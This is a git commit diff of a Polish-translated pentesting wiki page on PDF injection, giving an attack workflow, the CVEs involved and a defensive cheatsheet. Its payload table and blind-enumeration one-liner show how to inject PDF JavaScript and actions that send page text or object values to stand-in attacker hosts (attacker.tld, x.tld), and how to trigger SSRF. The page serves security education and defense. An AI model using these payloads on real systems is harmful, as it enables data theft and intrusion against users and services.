Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:43 +00:00
parent 6275d7efb9
commit 727d2177eb

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript lub ukraść zawartość PDF.**
Sprawdź post: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript, przeprowadzić SSRF lub ukraść zawartość PDF.**
Składnia PDF jest niezwykle elastyczna jeśli możesz wydostać się z ciągu lub słownika, który osadza twój input, możesz dodać całkowicie nowe obiekty (lub nowe klucze w tym samym obiekcie), które Acrobat/Chrome chętnie zanalizuje.
Od 2024 roku fala raportów o bug-bounty pokazała, że *jedna nieucieczona nawias lub ukośnik jest wystarczająca* do pełnego wykonania skryptu.
## TL;DR Nowoczesny Workflow Ataku (2024)
1. Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do **(ciągu nawiasowego)**, `/URI ( … )` lub `/JS ( … )` w wygenerowanym PDF.
2. Wstrzyknij `) ` (zamykając ciąg) po którym następuje jeden z poniższych prymitywów i zakończ kolejnym otwierającym nawiasem, aby zachować poprawność składni.
3. Dostarcz złośliwy plik PDF do ofiary (lub do usługi backendowej, która automatycznie renderuje plik świetne dla ślepych błędów).
4. Twój ładunek działa w przeglądarce PDF:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (zobacz CVE-2024-4367)
* Acrobat → Pełne API JavaScript (może wyeksportować dowolne zawartości plików za pomocą `this.getPageNthWord`)
Przykład (przechwycenie linku adnotacji):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*Pierwszy `)` zamyka oryginalny ciąg URI, następnie dodajemy nowy **słownik Akcji**, który Acrobat wykona, gdy użytkownik kliknie link.*
## Przydatne Prymitywy Wstrzykiwania
| Cel | Fragment Ładunku | Uwagi |
|------|-----------------|-------|
| **JavaScript przy otwarciu** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Wykonywane natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome). |
| **JavaScript przy linku** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Działa w PDFium i Acrobat, jeśli kontrolujesz adnotację `/Link`. |
| **Ślepe wyciek danych** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Połącz z `this.getPageNthWord` wewnątrz JS, aby ukraść treść. |
| **Server-Side SSRF** | To samo co powyżej, ale celuj w wewnętrzny URL świetne, gdy PDF jest renderowany przez usługi back-office, które honorują `/URI`. |
| **Złamanie linii dla nowych obiektów** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Jeśli biblioteka pozwala na wstrzykiwanie znaków nowej linii, możesz tworzyć zupełnie nowe obiekty. |
## Sztuczka Ślepej Enumeracji
Gareth Heyes (PortSwigger) opublikował jedną linię kodu, która enumeruje każdy obiekt w nieznanym dokumencie przydatne, gdy nie możesz zobaczyć wygenerowanego PDF:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Kod iteruje po DOM Acrobat i wykonuje zewnętrzne żądania dla każdej pary właściwość/wartość, dając ci *JSON-owy* zrzut pliku. Zobacz dokument "Portable Data **ex**Filtration" dla pełnej techniki.
## Real-World Bugs (2023-2025)
* **CVE-2024-4367** Dowolne wykonanie JavaScript w PDF.js Firefoxa przed 4.2.67 omijało piaskownicę za pomocą spreparowanej akcji `/JavaScript`.
* **Bug bounty 2024-05** Główny fintech pozwolił na notatki faktur dostarczane przez klientów, które trafiły do `/URI`; raport zapłacono 10 tys. dolarów po wykazaniu SSRF do wewnętrznego hosta metadanych za pomocą URI `file:///`.
* **CVE-2023-26155** `node-qpdf` wstrzyknięcie polecenia przez niesanitowaną ścieżkę PDF pokazuje znaczenie ucieczki ukośników i nawiasów nawet *przed* warstwą PDF.
## Defensive Cheatsheet
1. **Nigdy nie łącz surowego wejścia użytkownika** wewnątrz `(``)` ciągów lub nazw. Użyj ucieczki `\`, `(`, `)` zgodnie z §7.3 specyfikacji PDF lub użyj ciągów szesnastkowych `<...>`.
2. Jeśli tworzysz linki, preferuj `/URI (https://…)`, które *w pełni* kodujesz URL; blokuj schematy `javascript:` w klientach.
3. Usuń lub zwaliduj słowniki `/OpenAction`, `/AA` (dodatkowe akcje), `/Launch`, `/SubmitForm` i `/ImportData` podczas przetwarzania PDF.
4. Po stronie serwera renderuj nieufne PDF-y za pomocą *konwertera bezgłowego* (np. qpdf decrypt linearize), który usuwa JavaScript i zewnętrzne akcje.
5. Utrzymuj przeglądarki PDF w aktualizacji; PDF.js < 4.2.67 i Acrobat Reader przed lipcem 2024 pozwalają na trywialne wykonanie kodu.
## References
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (zaktualizowane maj 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (kwiecień 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}